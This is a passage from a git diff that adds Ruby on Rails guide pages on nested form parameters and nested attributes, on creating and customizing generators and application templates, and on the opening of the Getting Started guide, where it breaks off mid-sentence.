+the `params` hash will contain + +```ruby +{'person' => {'name' => 'Henry'}} +``` + +and `params[:person][:name]` will retrieve the submitted value in the controller. + +Hashes can be nested as many levels as required, for example: + +```html +<input id="person_address_city" name="person[address][city]" type="text" value="New York"/> +``` + +will result in the `params` hash being + +```ruby +{'person' => {'address' => {'city' => 'New York'}}} +``` + +Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets `[]` then they will be accumulated in an array. If you wanted users to be able to input multiple phone numbers, you could place this in the form: + +```html +<input name="person[phone_number][]" type="text"/> +<input name="person[phone_number][]" type="text"/> +<input name="person[phone_number][]" type="text"/> +``` + +This would result in `params[:person][:phone_number]` being an array containing the inputted phone numbers. + +### Combining Them + +We can mix and match these two concepts. One element of a hash might be an array as in the previous example, or you can have an array of hashes. For example, a form might let you create any number of addresses by repeating the following form fragment + +```html +<input name="person[addresses][][line1]" type="text"/> +<input name="person[addresses][][line2]" type="text"/> +<input name="person[addresses][][city]" type="text"/> +<input name="person[addresses][][line1]" type="text"/> +<input name="person[addresses][][line2]" type="text"/> +<input name="person[addresses][][city]" type="text"/> +``` + +This would result in `params[:person][:addresses]` being an array of hashes with keys `line1`, `line2`, and `city`. + +There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes; for example, instead of having an array of model objects, one can have a hash of model objects keyed by their id, an array index, or some other parameter. + +WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. + +### Using Form Helpers + +The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_with` and `fields_for` and the `:index` option that helpers take. + +You might want to render a form with a set of edit fields for each of a person's addresses. For example: + +```erb +<%= form_with model: @person do |person_form| %> + <%= person_form.text_field :name %> + <% @person.addresses.each do |address| %> + <%= person_form.fields_for address, index: address.id do |address_form| %> + <%= address_form.text_field :city %> + <% end %> + <% end %> +<% end %> +``` + +Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this: + +```html +<form accept-charset="UTF-8" action="/people/1" data-remote="true" method="post"> + <input name="_method" type="hidden" value="patch" /> + <input id="person_name" name="person[name]" type="text" /> + <input id="person_address_23_city" name="person[address][23][city]" type="text" /> + <input id="person_address_45_city" name="person[address][45][city]" type="text" /> +</form> +``` + +This will result in a `params` hash that looks like + +```ruby +{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}} +``` + +Rails knows that all these inputs should be part of the person hash because you +called `fields_for` on the first form builder. By specifying an `:index` option +you're telling Rails that instead of naming the inputs `person[address][city]` +it should insert that index surrounded by [] between the address and the city. +This is often useful as it is then easy to locate which Address record +should be modified. You can pass numbers with some other significance, +strings or even `nil` (which will result in an array parameter being created). + +To create more intricate nestings, you can specify the first part of the input +name (`person[address]` in the previous example) explicitly: + +```erb +<%= fields_for 'person[address][primary]', address, index: address.id do |address_form| %> + <%= address_form.text_field :city %> +<% end %> +``` + +will create inputs like + +```html +<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="Bologna" /> +``` + +As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_with`, the index value, and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls. + +As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `index: address.id` so + +```erb +<%= fields_for 'person[address][primary][]', address do |address_form| %> + <%= address_form.text_field :city %> +<% end %> +``` + +produces exactly the same output as the previous example. + +Forms to External Resources +--------------------------- + +Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an `authenticity_token` for the resource; this can be done by passing an `authenticity_token: 'your_external_token'` parameter to the `form_with` options: + +```erb +<%= form_with url: 'http://farfar.away/form', authenticity_token: 'external_token' do %> + Form contents +<% end %> +``` + +Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To not send a token, simply pass `false` to the `:authenticity_token` option: + +```erb +<%= form_with url: 'http://farfar.away/form', authenticity_token: false do %> + Form contents +<% end %> +``` + +Building Complex Forms +---------------------- + +Many apps grow beyond simple forms editing a single object. For example, when creating a `Person` you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove, or amend addresses as necessary. + +### Configuring the Model + +Active Record provides model level support via the `accepts_nested_attributes_for` method: + +```ruby +class Person < ApplicationRecord + has_many :addresses, inverse_of: :person + accepts_nested_attributes_for :addresses +end + +class Address < ApplicationRecord + belongs_to :person +end +``` + +This creates an `addresses_attributes=` method on `Person` that allows you to create, update, and (optionally) destroy addresses. + +### Nested Forms + +The following form allows a user to create a `Person` and its associated addresses. + +```html+erb +<%= form_with model: @person do |f| %> + Addresses: + <ul> + <%= f.fields_for :addresses do |addresses_form| %> + <li> + <%= addresses_form.label :kind %> + <%= addresses_form.text_field :kind %> + + <%= addresses_form.label :street %> + <%= addresses_form.text_field :street %> + ... + </li> + <% end %> + </ul> +<% end %> +``` + + +When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form. + +```ruby +def new + @person = Person.new + 2.times { @person.addresses.build } +end +``` + +The `fields_for` yields a form builder. The parameters' name will be what +`accepts_nested_attributes_for` expects. For example, when creating a user with +2 addresses, the submitted parameters would look like: + +```ruby +{ + 'person' => { + 'name' => 'John Doe', + 'addresses_attributes' => { + '0' => { + 'kind' => 'Home', + 'street' => '221b Baker Street' + }, + '1' => { + 'kind' => 'Office', + 'street' => '31 Spooner Street' + } + } + } +} +``` + +The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address. + +If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. + +### The Controller + +As usual you need to +[declare the permitted parameters](action_controller_overview.html#strong-parameters) in +the controller before you pass them to the model: + +```ruby +def create + @person = Person.new(person_params) + # ... +end + +private + def person_params + params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street]) + end +``` + +### Removing Objects + +You can allow users to delete associated objects by passing `allow_destroy: true` to `accepts_nested_attributes_for` + +```ruby +class Person < ApplicationRecord + has_many :addresses + accepts_nested_attributes_for :addresses, allow_destroy: true +end +``` + +If the hash of attributes for an object contains the key `_destroy` with a value that +evaluates to `true` (eg. 1, '1', true, or 'true') then the object will be destroyed. +This form allows users to remove addresses: + +```erb +<%= form_with model: @person do |f| %> + Addresses: + <ul> + <%= f.fields_for :addresses do |addresses_form| %> + <li> + <%= addresses_form.check_box :_destroy %> + <%= addresses_form.label :kind %> + <%= addresses_form.text_field :kind %> + ... + </li> + <% end %> + </ul> +<% end %> +``` + +Don't forget to update the permitted params in your controller to also include +the `_destroy` field: + +```ruby +def person_params + params.require(:person). + permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy]) +end +``` + +### Preventing Empty Records + +It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set. + +```ruby +class Person < ApplicationRecord + has_many :addresses + accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?} +end +``` + +As a convenience you can instead pass the symbol `:all_blank` which will create a proc that will reject records where all the attributes are blank excluding any value for `_destroy`. + +### Adding Fields on the Fly + +Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds since the [epoch](https://en.wikipedia.org/wiki/Unix_time)) is a common choice. + +Using form_for and form_tag +--------------------------- + +Before `form_with` was introduced in Rails 5.1 its functionality used to be split between `form_tag` and `form_for`. Both are now soft-deprecated. Documentation on their usage can be found in [older versions of this guide](https://guides.rubyonrails.org/v5.2/form_helpers.html). diff --git a/guides/source/generators.md b/guides/source/generators.md new file mode 100644 index 0000000000..88ce4be8da --- /dev/null +++ b/guides/source/generators.md @@ -0,0 +1,709 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Creating and Customizing Rails Generators & Templates +===================================================== + +Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones. + +After reading this guide, you will know: + +* How to see which generators are available in your application. +* How to create a generator using templates. +* How Rails searches for generators before invoking them. +* How Rails internally generates Rails code from the templates. +* How to customize your scaffold by creating new generators. +* How to customize your scaffold by changing generator templates. +* How to use fallbacks to avoid overwriting a huge set of generators. +* How to create an application template. + +-------------------------------------------------------------------------------- + +First Contact +------------- + +When you create an application using the `rails` command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking `rails generate`: + +```bash +$ rails new myapp +$ cd myapp +$ rails generate +``` + +You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do: + +```bash +$ rails generate helper --help +``` + +Creating Your First Generator +----------------------------- + +Since Rails 3.0, generators are built on top of [Thor](https://github.com/erikhuda/thor). Thor provides powerful options for parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`. + +The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content: + +```ruby +class InitializerGenerator < Rails::Generators::Base + def create_initializer_file + create_file "config/initializers/initializer.rb", "# Add initialization content here" + end +end +``` + +NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html) + +Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API. + +To invoke our new generator, we just need to do: + +```bash +$ rails generate initializer +``` + +Before we go on, let's see our brand new generator description: + +```bash +$ rails generate initializer --help +``` + +Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator: + +```ruby +class InitializerGenerator < Rails::Generators::Base + desc "This generator creates an initializer file at config/initializers" + def create_initializer_file + create_file "config/initializers/initializer.rb", "# Add initialization content here" + end +end +``` + +Now we can see the new description by invoking `--help` on the new generator. The second way to add a description is by creating a file named `USAGE` in the same directory as our generator. We are going to do that in the next step. + +Creating Generators with Generators +----------------------------------- + +Generators themselves have a generator: + +```bash +$ rails generate generator initializer + create lib/generators/initializer + create lib/generators/initializer/initializer_generator.rb + create lib/generators/initializer/USAGE + create lib/generators/initializer/templates + invoke test_unit + create test/lib/generators/initializer_generator_test.rb +``` + +This is the generator just created: + +```ruby +class InitializerGenerator < Rails::Generators::NamedBase + source_root File.expand_path('templates', __dir__) +end +``` + +First, notice that we are inheriting from `Rails::Generators::NamedBase` instead of `Rails::Generators::Base`. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable `name`. + +We can see that by invoking the description of this new generator (don't forget to delete the old generator file): + +```bash +$ rails generate initializer --help +Usage: + rails generate initializer NAME [options] +``` + +We can also see that our new generator has a class method called `source_root`. This method points to where our generator templates will be placed, if any, and by default it points to the created directory `lib/generators/initializer/templates`. + +In order to understand what a generator template means, let's create the file `lib/generators/initializer/templates/initializer.rb` with the following content: + +```ruby +# Add initialization content here +``` + +And now let's change the generator to copy this template when invoked: + +```ruby +class InitializerGenerator < Rails::Generators::NamedBase + source_root File.expand_path('templates', __dir__) + + def copy_initializer_file + copy_file "initializer.rb", "config/initializers/#{file_name}.rb" + end +end +``` + +And let's execute our generator: + +```bash +$ rails generate initializer core_extensions +``` + +We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`. + +The methods that are available for generators are covered in the [final section](#generator-methods) of this guide. + +Generators Lookup +----------------- + +When you run `rails generate initializer core_extensions` Rails requires these files in turn until one is found: + +```bash +rails/generators/initializer/initializer_generator.rb +generators/initializer/initializer_generator.rb +rails/generators/initializer_generator.rb +generators/initializer_generator.rb +``` + +If none is found you get an error message. + +INFO: The examples above put files under the application's `lib` because said directory belongs to `$LOAD_PATH`. + +Customizing Your Workflow +------------------------- + +Rails own generators are flexible enough to let you customize scaffolding. They can be configured in `config/application.rb`, these are some defaults: + +```ruby +config.generators do |g| + g.orm :active_record + g.template_engine :erb + g.test_framework :test_unit, fixture: true +end +``` + +Before we customize our workflow, let's first see what our scaffold looks like: + +```bash +$ rails generate scaffold User name:string + invoke active_record + create db/migrate/20130924151154_create_users.rb + create app/models/user.rb + invoke test_unit + create test/models/user_test.rb + create test/fixtures/users.yml + invoke resource_route + route resources :users + invoke scaffold_controller + create app/controllers/users_controller.rb + invoke erb + create app/views/users + create app/views/users/index.html.erb + create app/views/users/edit.html.erb + create app/views/users/show.html.erb + create app/views/users/new.html.erb + create app/views/users/_form.html.erb + invoke test_unit + create test/controllers/users_controller_test.rb + invoke helper + create app/helpers/users_helper.rb + invoke jbuilder + create app/views/users/index.json.jbuilder + create app/views/users/show.json.jbuilder + invoke test_unit + create test/application_system_test_case.rb + create test/system/users_test.rb + invoke assets + invoke scss + create app/assets/stylesheets/users.scss + invoke scss + create app/assets/stylesheets/scaffolds.scss +``` + +Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication. + +If we want to avoid generating the default `app/assets/stylesheets/scaffolds.scss` file when scaffolding a new resource we can disable `scaffold_stylesheet`: + +```ruby + config.generators do |g| + g.scaffold_stylesheet false + end +``` + +The next customization on the workflow will be to stop generating stylesheet and test fixture files for scaffolds altogether. We can achieve that by changing our configuration to the following: + +```ruby +config.generators do |g| + g.orm :active_record + g.template_engine :erb + g.test_framework :test_unit, fixture: false + g.stylesheets false +end +``` + +If we generate another resource with the scaffold generator, we can see that stylesheet, JavaScript, and fixture files are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators. + +To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks: + +```bash +$ rails generate generator rails/my_helper + create lib/generators/rails/my_helper + create lib/generators/rails/my_helper/my_helper_generator.rb + create lib/generators/rails/my_helper/USAGE + create lib/generators/rails/my_helper/templates + invoke test_unit + create test/lib/generators/rails/my_helper_generator_test.rb +``` + +After that, we can delete both the `templates` directory and the `source_root` +class method call from our new generator, because we are not going to need them. +Add the method below, so our generator looks like the following: + +```ruby +# lib/generators/rails/my_helper/my_helper_generator.rb +class Rails::MyHelperGenerator < Rails::Generators::NamedBase + def create_helper_file + create_file "app/helpers/#{file_name}_helper.rb", <<-FILE +module #{class_name}Helper + attr_reader :#{plural_name}, :#{plural_name.singularize} +end + FILE + end +end +``` + +We can try out our new generator by creating a helper for products: + +```bash +$ rails generate my_helper products + create app/helpers/products_helper.rb +``` + +And it will generate the following helper file in `app/helpers`: + +```ruby +module ProductsHelper + attr_reader :products, :product +end +``` + +Which is what we expected. We can now tell scaffold to use our new helper generator by editing `config/application.rb` once again: + +```ruby +config.generators do |g| + g.orm :active_record + g.template_engine :erb + g.test_framework :test_unit, fixture: false + g.stylesheets false + g.helper :my_helper +end +``` + +and see it in action when invoking the generator: + +```bash +$ rails generate scaffold Article body:text + [...] + invoke my_helper + create app/helpers/articles_helper.rb +``` + +We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators. + +Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible. + +To do that, we can change the generator this way: + +```ruby +# lib/generators/rails/my_helper/my_helper_generator.rb +class Rails::MyHelperGenerator < Rails::Generators::NamedBase + def create_helper_file + create_file "app/helpers/#{file_name}_helper.rb", <<-FILE +module #{class_name}Helper + attr_reader :#{plural_name}, :#{plural_name.singularize} +end + FILE + end + + hook_for :test_framework +end +``` + +Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both `Rails::TestUnitGenerator` and `TestUnit::MyHelperGenerator`. Since none of those are defined, we can tell our generator to invoke `TestUnit::Generators::HelperGenerator` instead, which is defined since it's a Rails generator. To do that, we just need to add: + +```ruby +# Search for :helper instead of :my_helper +hook_for :test_framework, as: :helper +``` + +And now you can re-run scaffold for another resource and see it generating tests as well! + +Customizing Your Workflow by Changing Generators Templates +---------------------------------------------------------- + +In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case `Rails::Generators::HelperGenerator`. + +In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is `lib/templates`. Since we want to customize `Rails::Generators::HelperGenerator`, we can do that by simply making a template copy inside `lib/templates/rails/helper` with the name `helper.rb`. So let's create that file with the following content: + +```erb +module <%= class_name %>Helper + attr_reader :<%= plural_name %>, :<%= plural_name.singularize %> +end +``` + +and revert the last change in `config/application.rb`: + +```ruby +config.generators do |g| + g.orm :active_record + g.template_engine :erb + g.test_framework :test_unit, fixture: false + g.stylesheets false +end +``` + +If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`. + +Scaffold templates in Rails frequently use ERB tags; these tags need to be +escaped so that the generated output is valid ERB code. + +For example, the following escaped ERB tag would be needed in the template +(note the extra `%`)... + +```ruby +<%%= stylesheet_include_tag :application %> +``` + +...to generate the following output: + +```ruby +<%= stylesheet_include_tag :application %> +``` + +Adding Generators Fallbacks +--------------------------- + +One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like [shoulda](https://github.com/thoughtbot/shoulda) does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Shoulda` namespace. + +We can easily simulate this behavior by changing our `config/application.rb` once again: + +```ruby +config.generators do |g| + g.orm :active_record + g.template_engine :erb + g.test_framework :shoulda, fixture: false + g.stylesheets false + + # Add a fallback! + g.fallbacks[:shoulda] = :test_unit +end +``` + +Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators: + +```bash +$ rails generate scaffold Comment body:text + invoke active_record + create db/migrate/20130924143118_create_comments.rb + create app/models/comment.rb + invoke shoulda + create test/models/comment_test.rb + create test/fixtures/comments.yml + invoke resource_route + route resources :comments + invoke scaffold_controller + create app/controllers/comments_controller.rb + invoke erb + create app/views/comments + create app/views/comments/index.html.erb + create app/views/comments/edit.html.erb + create app/views/comments/show.html.erb + create app/views/comments/new.html.erb + create app/views/comments/_form.html.erb + invoke shoulda + create test/controllers/comments_controller_test.rb + invoke my_helper + create app/helpers/comments_helper.rb + invoke jbuilder + create app/views/comments/index.json.jbuilder + create app/views/comments/show.json.jbuilder + invoke test_unit + create test/application_system_test_case.rb + create test/system/comments_test.rb + invoke assets + invoke scss + create app/assets/stylesheets/scaffolds.scss +``` + +Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication. + +Application Templates +--------------------- + +Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred to as a "template". This is a brief overview of the Templates API. For detailed documentation see the [Rails Application Templates guide](rails_application_templates.html). + +```ruby +gem "rspec-rails", group: "test" +gem "cucumber-rails", group: "test" + +if yes?("Would you like to install Devise?") + gem "devise" + generate "devise:install" + model_name = ask("What would you like the user model to be called? [user]") + model_name = "user" if model_name.blank? + generate "devise", model_name +end +``` + +In the above template we specify that the application relies on the `rspec-rails` and `cucumber-rails` gem so these two will be added to the `test` group in the `Gemfile`. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the `Gemfile` outside of any group and then runs the `devise:install` generator. This template then takes the users input and runs the `devise` generator, with the user's answer from the last question being passed to this generator. + +Imagine that this template was in a file called `template.rb`. We can use it to modify the outcome of the `rails new` command by using the `-m` option and passing in the filename: + +```bash +$ rails new thud -m template.rb +``` + +This command will generate the `Thud` application, and then apply the template to the generated output. + +Templates don't have to be stored on the local system, the `-m` option also supports online templates: + +```bash +$ rails new thud -m https://gist.github.com/radar/722911/raw/ +``` + +Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators. + +Adding Command Line Arguments +----------------------------- +Rails generators can be easily modified to accept custom command line arguments. This functionality comes from [Thor](http://www.rubydoc.info/github/erikhuda/thor/master/Thor/Base/ClassMethods#class_option-instance_method): + +``` +class_option :scope, type: :string, default: 'read_products' +``` + +Now our generator can be invoked as follows: + +```bash +rails generate initializer --scope write_products +``` + +The command line arguments are accessed through the `options` method inside the generator class. e.g: + +```ruby +@scope = options['scope'] +``` + +Generator methods +----------------- + +The following are methods available for both generators and templates for Rails. + +NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html) + +### `gem` + +Specifies a gem dependency of the application. + +```ruby +gem "rspec", group: "test", version: "2.1.0" +gem "devise", "1.1.5" +``` + +Available options are: + +* `:group` - The group in the `Gemfile` where this gem should go. +* `:version` - The version string of the gem you want to use. Can also be specified as the second argument to the method. +* `:git` - The URL to the git repository for this gem. + +Any additional options passed to this method are put on the end of the line: + +```ruby +gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master" +``` + +The above code will put the following line into `Gemfile`: + +```ruby +gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master" +``` + +### `gem_group` + +Wraps gem entries inside a group: + +```ruby +gem_group :development, :test do + gem "rspec-rails" +end +``` + +### `add_source` + +Adds a specified source to `Gemfile`: + +```ruby +add_source "http://gems.github.com" +``` + +This method also takes a block: + +```ruby +add_source "http://gems.github.com" do + gem "rspec-rails" +end +``` + +### `inject_into_file` + +Injects a block of code into a defined position in your file. + +```ruby +inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY' + puts "Hello World" +RUBY +end +``` + +### `gsub_file` + +Replaces text inside a file. + +```ruby +gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code' +``` + +Regular Expressions can be used to make this method more precise. You can also use `append_file` and `prepend_file` in the same way to place code at the beginning and end of a file respectively. + +### `application` + +Adds a line to `config/application.rb` directly after the application class definition. + +```ruby +application "config.asset_host = 'http://example.com'" +``` + +This method can also take a block: + +```ruby +application do + "config.asset_host = 'http://example.com'" +end +``` + +Available options are: + +* `:env` - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows: + +```ruby +application(nil, env: "development") do + "config.asset_host = 'http://localhost:3000'" +end +``` + +### `git` + +Runs the specified git command: + +```ruby +git :init +git add: "." +git commit: "-m First commit!" +git add: "onefile.rb", rm: "badfile.cxx" +``` + +The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in. + +### `vendor` + +Places a file into `vendor` which contains the specified code. + +```ruby +vendor "sekrit.rb", '#top secret stuff' +``` + +This method also takes a block: + +```ruby +vendor "seeds.rb" do + "puts 'in your app, seeding your database'" +end +``` + +### `lib` + +Places a file into `lib` which contains the specified code. + +```ruby +lib "special.rb", "p Rails.root" +``` + +This method also takes a block: + +```ruby +lib "super_special.rb" do + "puts 'Super special!'" +end +``` + +### `rakefile` + +Creates a Rake file in the `lib/tasks` directory of the application. + +```ruby +rakefile "test.rake", 'task(:hello) { puts "Hello, there" }' +``` + +This method also takes a block: + +```ruby +rakefile "test.rake" do + %Q{ + task rock: :environment do + puts "Rockin'" + end + } +end +``` + +### `initializer` + +Creates an initializer in the `config/initializers` directory of the application: + +```ruby +initializer "begin.rb", "puts 'this is the beginning'" +``` + +This method also takes a block, expected to return a string: + +```ruby +initializer "begin.rb" do + "puts 'this is the beginning'" +end +``` + +### `generate` + +Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator. + +```ruby +generate "scaffold", "forums title:string description:text" +``` + + +### `rake` + +Runs the specified Rake task. + +```ruby +rake "db:migrate" +``` + +Available options are: + +* `:env` - Specifies the environment in which to run this rake task. +* `:sudo` - Whether or not to run this task using `sudo`. Defaults to `false`. + +### `route` + +Adds text to the `config/routes.rb` file: + +```ruby +route "resources :people" +``` + +### `readme` + +Output the contents of a file in the template's `source_path`, usually a README. + +```ruby +readme "README" +``` diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md new file mode 100644 index 0000000000..264c94326e --- /dev/null +++ b/guides/source/getting_started.md @@ -0,0 +1,2101 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Getting Started with Rails +========================== + +This guide covers getting up and running with Ruby on Rails. + +After reading this guide, you will know: + +* How to install Rails, create a new Rails application, and connect your + application to a database. +* The general layout of a Rails application. +* The basic principles of MVC (Model, View, Controller) and RESTful design. +* How to quickly generate the starting pieces of a Rails application. + +-------------------------------------------------------------------------------- + +Guide Assumptions +----------------- + +This guide is designed for beginners who want to get started with a Rails +application from scratch. It does not assume that you have any prior experience +with Rails. + +Rails is a web application framework running on the Ruby programming language. +If you have no prior experience with Ruby, you will find a very steep learning +curve diving straight into Rails. There are several curated lists of online resources +for learning Ruby: + +* [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/) +* [List of Free Programming Books](https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md#ruby) + +Be aware that some resources, while still excellent, cover versions of Ruby as old as +1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day +development with Rails. + +What is Rails? +-------------- + +Rails is a web application development framework written in the Ruby programming language. +It is designed to make programming web applications easier by making assumptions +about what every developer needs to get started. It allows you to write less +code while accomplishing more than many other languages and frameworks. +Experienced Rails developers also report that it makes web application +development more fun. + +Rails is opinionated software. It makes the assumption that there is a "best" +way to do things, and it's designed to encourage that way - and in some cases to +discourage alternatives. If you learn "The Rails Way" you'll probably discover a +tremendous increase in productivity. If you persist in bringing old habits from +other languages to your Rails development, and trying to use patterns you +learned elsewhere, you may have a less happy experience. + +The Rails philosophy includes two major guiding principles: + +* **Don't Repeat Yourself:** DRY is a principle of software development which + states that "Every piece of knowledge must have a single, unambiguous, authoritative + representation within a system." By not writing the same information over and over + again, our code is more maintainable, more extensible, and less buggy. +* **Convention Over Configuration:** Rails has opinions about the best way to do many + things in a web application, and defaults to this set of conventions, rather than + require that you specify minutiae through endless configuration files. + +Creating a New Rails Project +---------------------------- +The best way to read this guide is to follow it step by step. All steps are +essential to run this example application and no additional code or steps are +needed. + +By following along with this guide, you'll create a Rails project called +`blog`, a (very) simple weblog. Before you can start building the application, +you need to make sure that you have Rails itself installed. + +TIP: The examples below use `$` to represent your terminal prompt in a UNIX-like OS, +though it may have been customized to appear differently. If you are using Windows, +your prompt will look something like `c:\source_code>` + +### Installing Rails + +Before you install Rails, you should check to make sure that your system has the +proper prerequisites installed. These include Ruby and SQLite3. + +Open up a command line prompt. On macOS open Terminal.app, on Windows choose +"Run" from your Start menu and type 'cmd.exe'. Any commands prefaced with a +dollar sign `$` should be run in the command line. Verify that you have a +current version of Ruby installed: + +```bash +$ ruby -v +ruby 2.5.0 +``` + +Rails requires Ruby version 2.5.0 or later. If the version number returned is +less than that number, you'll need to install a fresh copy of Ruby. + +TIP: To quickly install Ruby and Ruby on Rails on your system in Windows, you can use +[Rails Installer](http://railsinstaller.org). For more installation methods for most +Operating Systems take a look at [ruby-lang.org](https://www.ruby-lang.org/en/documentation/installation/). + +If you are working on Windows, you should also install the +[Ruby Installer Development Kit](https://rubyinstaller.org/downloads/). + +You will also need an installation of the SQLite3 database. +Many popular UNIX-like OSes ship with an acceptable version of SQLite3. +On Windows, if you installed Rails through Rails Installer, you +already have SQLite installed. Others can find installation instructions +at the [SQLite3 website](https://www.sqlite.org). +Verify that it is correctly installed and in your PATH: + +```bash +$ sqlite3 --version +``` + +The program should report its version. + +To install Rails, use the `gem install` command provided by RubyGems: + +```bash +$ gem install rails +``` + +To verify that you have everything installed correctly, you should be able to +run the following: + +```bash +$ rails --version +``` + +If it says something like "Rails 5.2.1", you are ready to continue. + +### Creating the Blog Application + +Rails comes with a number of scripts called generators that are designed to make +your development life easier by creating everything that's necessary to start +working on a particular task. One of these is the new application generator, +which will provide you with the foundation of a fresh Rails application so that +you don't have to write it yourself. + +To use this generator, open a terminal, navigate to a directory where you have +rights to create files, and type: + +```bash +$ rails new blog +``` + +This will create a Rails application called Blog in a `blog` directory and +install the gem dependencies that are already mentioned in `Gemfile` using +`bundle install`. + +NOTE: If you're using Windows Subsystem for Linux then there are currently some +limitations on file system notifications that mean 